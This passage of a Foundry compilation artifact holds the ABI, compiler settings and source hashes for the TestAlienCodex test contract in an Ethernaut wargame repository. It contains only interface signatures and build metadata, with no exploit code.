",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/AlienCodex.t.sol\":\"TestAlienCodex\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]},\"src/levels/DummyFactory.sol\":{\"keccak256\":\"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f\",\"dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/AlienCodex.t.sol\":{\"keccak256\":\"0xbe568b21e461ba20f7ed23eddd9094566d2bef8971a5a1492a9382dbd550bb56\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://c4be1737b045b52bb1fcf3508efceae0197825804be7740ec24009694f051bbf\",\"dweb:/ipfs/QmS93Degcegdo9DXgpFvqmXGfRiwC3L1S9LdKxauwhRJZU\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32